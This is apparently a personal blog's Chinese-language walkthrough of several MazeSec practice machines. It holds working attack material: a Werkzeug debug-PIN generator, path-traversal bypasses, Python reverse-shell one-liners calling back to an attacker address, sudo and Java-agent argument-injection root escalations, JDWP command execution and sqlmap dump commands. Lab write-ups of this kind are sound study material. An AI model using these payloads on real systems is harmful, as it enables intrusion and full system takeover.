MazeSec 打靶

OneZ3r0 Lv4

tmp

nmap 扫

1
2
22/tcp   open  ssh
5000/tcp open upnp

dirsearch 扫出 /console,显然是 flask debug mode

1
dirsearch -u http://172.16.198.128:5000/

burp 看了下页面,发现 song 可以传参,想办法让后端报错,输个单引号发现成了,也验证了确实是 debug 模式

image-20260210132730380
image-20260210132730380

在 traceback 中可以得到部分源码

1
2
3
4
5
6
7
8
9
10
11
sanitized = user_input.replace('../', '')
target_path = os.path.join(SONGS_DIR, sanitized)

try:
if not os.path.exists(target_path) or not os.path.isfile(target_path):
raise FileNotFoundError(f"找不到指定的文件: {target_path}")

with open(target_path, 'r', encoding='utf-8') as f:
content = f.read()

return content

看起来songs的.txt 是 传参读取的,然后 ..././ 绕过替换即可任意文件读

之后 pin 计算 https://xz.aliyun.com/news/15462

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
"tuf", # /etc/passwd 用户名
"flask.app", # 默认值
"Flask", # 默认值
"/usr/lib/python3.12/site-packages/flask/app.py", # moddir,报错得到
]


mac_hex = "" # /sys/class/net/eth0/address
mac_int = int(mac_hex.replace(":", ""), 16)

# 私有信息部分
private_bits = [
mac_int, # 十进制
"",
# machine-id部分, /etc/machine-id 或者 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)

# 加盐处理
h.update(b"cookiesalt")

# 生成 cookie 名称
cookie_name = "__wzd" + h.hexdigest()[:20]
print(cookie_name)

# 生成 pin 码
num = None
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

"""
__wzd001044f90278a0ae8e72
136-707-955
"""

报错的 traceback 的html 可以拿到 secret 和 frame

1
2
3
4
5
6
7
8
9
<script>
var CONSOLE_MODE = false,
EVALEX = false,
EVALEX_TRUSTED = false,
SECRET = "gF9UHBLyQuH05xSet0tG";
</script>

<li><div class="frame" id="frame-140545721096160">
<h4>File <cite class="filename">"/app/app.py"</cite>,

提交 pin 码 和 secret 获得 cookie,需要修改 host

1
2
GET /console?__debugger__=yes&cmd=pinauth&pin=136-707-955&s=gF9UHBLyQuH05xSet0tG HTTP/1.1
Host: 127.0.0.1:5000
1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.12
Date: Tue, 10 Feb 2026 02:40:50 GMT
Content-Type: application/json
Content-Length: 34
Set-Cookie: __wzd001044f90278a0ae8e72=1770691250|0e16a5cd0627; HttpOnly; Path=/; SameSite=Strict
Connection: close

{"auth": true, "exhausted": false}

带 cookie secret frame 即可 rce

python 弹 shell

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.198.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
1
2
3
GET /console?&__debugger__=yes&cmd=import+socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.198.1",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")&frm=140545721096160&s=gF9UHBLyQuH05xSet0tG HTTP/1.1
Host: 127.0.0.1:5000
Cookie: __wzd001044f90278a0ae8e72=1770691250|0e16a5cd0627;

弹 shell 之后

1
2
3
cat /home/tuf/user.txt

flag{user-efc2ff45f0724ce8bd897e4cdd356eca}

看来是 sudo 提权

1
2
3
4
5
6
7
8
9
10
11
tuf@tmp:/$ sudo -l
sudo -l
Matching Defaults entries for tuf on tmp:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for tuf:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User tuf may run the following commands on tmp:
(ALL) NOPASSWD: /usr/local/bin/getflag

分析一下 getflag,大致为 declare -x 可以导出环境变量,然后复制 /opt/flag 到 沙箱执行

[!Note]

可以使用bash -x进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
cat /usr/local/bin/getflag                                                               
#!/bin/bash
if [[ $# -lt 2 ]]; then
cat <<USAGE >&2
用法: $0 <varname> <varvalue> [args...]
示例: $0 username tuf --option
说明:
- 将 <varname> 作为变量名,<varvalue> 作为变量值导入到当前脚本环境中
USAGE
exit 1
fi

VAR_NAME="$1"
VAR_VALUE="$2"


if [[ ! "$VAR_NAME" =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]]; then
echo "错误:变量名 '$VAR_NAME' 不符合命名规则。" >&2
exit 2
fi

declare -x "$VAR_NAME"="$VAR_VALUE"

unset LD_PRELOAD
unset LD_LIBRARY_PATH
unset BASH_ENV
unset PYTHONPATH
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

TARGET_FILE="/opt/flag"

TARGET_BASENAME="$(basename "$TARGET_FILE")"
SANDBOX_DIR=$(mktemp -d)

cp -- "$TARGET_FILE" "$SANDBOX_DIR/"

SANDBOX_TARGET_FILE="$SANDBOX_DIR/$TARGET_BASENAME"

cd "$SANDBOX_DIR"

$SANDBOX_TARGET_FILE

cd /tmp
rm -rf "$SANDBOX_DIR"

其中 $SANDBOX_TARGET_FILE 这变量这一行直接执行,且没有使用引号

于是用脚本注入环境变量 TMPDIR,将 TMPDIR 设置为一个包含空格的路径(例如 /tmp/exp dir)步骤如下

  1. SANDBOX_DIR 变成了类似 "/tmp/exp dir/tmp.XXXXXX" 的字符串

  2. SANDBOX_TARGET_FILE 变为 /tmp/exp dir/tmp.XXXXXX/flag

  3. 执行 $SANDBOX_TARGET_FILE 时,Bash 因为没有引号,相当于

1
2
/tmp/exp # 直接执行
dir/tmp.XXXXXX/flag # 作为参数
1
2
3
4
5
6
7
8
9
10
11
12
tuf@tmp:/tmp$ echo -e 'bash' > /tmp/exp
echo -e 'bash' > /tmp/exp
tuf@tmp:/tmp$ sudo getflag TMPDIR "/tmp/exp dir"
sudo getflag TMPDIR "/tmp/exp dir"
root@tmp:/tmp/exp dir/tmp.jhghNj# cd /root
cd /root
root@tmp:~# ls
ls
root.txt
root@tmp:~# cat root.txt
cat root.txt
flag{root-3c3b91a376044379852a08d53578eb70}

优化交互式shell

研究了一下交互shell,用socat不错,但是退出终端的时候会卡死,因为屏蔽了原来终端的输入,把输入给了里面的shell

1
2
3
socat FILE:/dev/tty,raw,echo=0 TCP4-LISTEN:1111,reuseaddr
socat FILE:(tty),raw,echo=0 TCP4-LISTEN:4444
socat FILE:`tty`,raw,echo=0 TCP4-LISTEN:4444
1
2
3
4
5
6
7
ctrl z
stty raw -echo; fg

reset
stty size
stty rows 40 cols 160

1
/usr/bin/script -qc /bin/bash /dev/null

sqlmap使用

1
2
3
4
sqlmap -l a.txt --batch --dbs  # databases
sqlmap -l a.txt --batch -D <database_name> --dump

knock ip 7000 8000 9000
1
2
3
4
sudo -i  # login shell, init root env

执行二进制文件path不包括.
需要sudo ./pwn.sh

JNDI

1
2
3
4
5
6
7
8
9
10
11
liz@JNDI:/opt$ cat java_agent_start.sh 
#!/bin/bash

file_name=/opt/file/tmp
file_line=$(awk 'NR==1 {print;exit}' "$file_name")
file_line=$(basename $file_line)

cd /opt
echo $file_line

/usr/local/java/jdk1.8.0_20/bin/java -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/$file_line test

方案一

-Djava.ext.dirs=/path

  • Java 9+ 移除
  • 因为这里file_line只取了第一行,所以这个/opt/file/tmp是可以复用的
  • java.ext.dirs 指定的目录会被 Extension ClassLoader 扫描
  • 虽然不是以 jar 结尾的文件,但是JVM 会尝试解析当前目录下所有的文件

所以可以

1
cat payload.jar >> /opt/file/tmp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
libhprof.so -Djava.ext.dirs=/opt/file com.onez3r0.javasec.utils.RootDropper8
# libhporf 是和 heap 相关的 agent,这里单纯是找一个合法的 agent,不要让agentpath 报错

# 去到 maven 项目的源码根目录对 .java 文件进行编译
# src/main/java

javac --release 8
# 一定要指定版本!不然兼容性报错
javac -d . com/onez3r0/javasec/utils/RootDropper8.java

# 将整个路径打包进入 JAR
jar cvf payload.jar com/onez3r0/javasec/utils/RootDropper8.class

jar -tf payload.jar
# -t table of contents 列出文件清单
# jar 可以不加 -

脚本处理绕过,命令参数注入
basename 主要处理 字符串中 最后一个 / 后面的字符
这里非常凑巧这个 java_agent_start.sh 和 file/是同级的,所以dirs参数不需要 /

  1. 使用 \n
1
2
3
4
5
basename libhprof.so\n-Djava.ext.dirs=file\ncom.onez3r0.javasec.utils.RootDropper8

libhprof.so
-Djava.ext.dirs=file
com.onez3r0.javasec.utils.RootDropper8
  1. 使用 -a (multiple arguments)
1
2
3
4
5
basename -a libhprof.so -Djava.ext.dirs=file com.onez3r0.javasec.utils.RootDropper8

libhprof.so
-Djava.ext.dirs=file
com.onez3r0.javasec.utils.RootDropper8
1
2
3
echo '-a libhprof.so -Djava.ext.dirs=file com.onez3r0.javasec.utils.RootDropper8' > /opt/file/tmp

cat payload.jar >> tmp

[!Note]
bash -p 解析

如果shell启动时的有效用户(组)id不等于实际用户(组)id,并且没有提供-p选项,则不读取启动文件,不从环境继承 shell 函数,忽略环境中出现的 SHELLOPTS 、BASHOPTS、CDPATH 和 GLOBIGNORE 变量,并将有效用户 id 设置为实际用户 id。如果在调用时提供了 -p 选项,则启动行为是相同的,但不重置有效的用户 id

1
2
3
4
5
6
7
8
liz@JNDI:/tmp$ ./rootsh
rootsh-5.0$ id
uid=1000(liz) gid=1000(liz) groups=1000(liz)
rootsh-5.0$ exit
exit
liz@JNDI:/tmp$ ./rootsh -p
rootsh-5.0# id
uid=1000(liz) gid=1000(liz) euid=0(root) egid=0(root) groups=0(root),1000(liz)

方案二

JDWP (Java Debug Wire Protocol) Java 提供的调试协议,如果我们在加载它时传⼊特定的参数,它就会在指定的端⼝上开启⼀个调试服务

⽽在 Java 中,调试器拥有最⾼权限:它可以随意实例化对象、调⽤⽅法(包括Runtime.getRuntime().exec() 来执⾏系统命令)

1
2
-agentpath:<path>[=<options>]
-agentpath:/usr/.../lib64/libjdwp.so=transport=dt_socket,server=y,suspend=y,address=5005

参数解析,第一次 path 和 options 之间用=分割,选项之间用,
相当于

  • -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/libjdwp.so
  • transport=dt_socket 传输方式
  • server=y 服务端模式开启
  • suspend=y 启动即挂起
  • address=5005
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
jdb -attach 127.0.0.1:5005

threads

where all

# 加载的是题目给的 test.class,功能是 打印 hello world
# 所以断点下在这里
stop in java.io.PrintStream.println(java.lang.String)
# stop in test.main 也可以

# 然后 cont 才会执行到断点处,此时各种系统初始化(java的执行环境,堆栈,变量,类加载)已经完成了
cont

# 命中之后就可以通过 eval rce 了 这是最推荐的执行命令的方式
eval java.lang.Runtime.getRuntime().exec("/tmp/x.sh")

java 中的 exec 是操作系统的 execve 调用,不支持 > 重定向这种 shell 特有语法

1
eval java.lang.Runtime.getRuntime().exec("cat /tmp/1.txt >> /tmp/3.txt")
1
2
3
// 正确的写法:使用 String 数组以避免参数解析歧义
String[] cmd = { "/bin/sh", "-c", "cat /root/root.txt > /tmp/1.txt" };
Runtime.getRuntime().exec(cmd);

但是 jdb 的语法还是很有限

尝试的语法 结果 原因
{"a", "b"} ParseException jdb 不支持这种字面量数组语法
new String[]{"a"} ParseException jdbnew 关键字实现不完整
new String[1]{"a"} operation not yet supported 该版本明确禁止了带初始化的数组创建

MM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 nmap -sV -T4 -A -p- --unprivileged 192.168.56.107
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-24 08:49 +0000
Nmap scan report for MM.local (192.168.56.107)
Host is up (0.000071s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Hi
| http-git:
| 192.168.56.107:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: 4
|_http-server-header: Apache/2.4.62 (Debian)
5901/tcp open vnc VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
| VNC Authentication (2)
| Tight (16)
| Tight auth subtypes:
|_ STDV VNCAUTH_ (2)
6001/tcp open X11 (access denied)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds

git泄露拿到 password:sublarge

之后没招了,问了下 AI,太牛了啊,直接就测出来 改 Host 之后不是静态站点了,有 PHPSESSID 了

|325
|325

但是vnc连不上,ssh 猜测了 mingmingjiu/mm/sublarge…作为 user 也没能上去

后面说是 vnc 密码是 mingmingjiu

连上去之后常规找提权脚本就行

  • 标题: MazeSec 打靶
  • 作者: OneZ3r0
  • 创建于 : 2026-03-27 14:13:27
  • 更新于 : 2026-05-05 18:31:44
  • 链接: https://blog.onez3r0.top/2026/03/27/mazesec-machine-wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。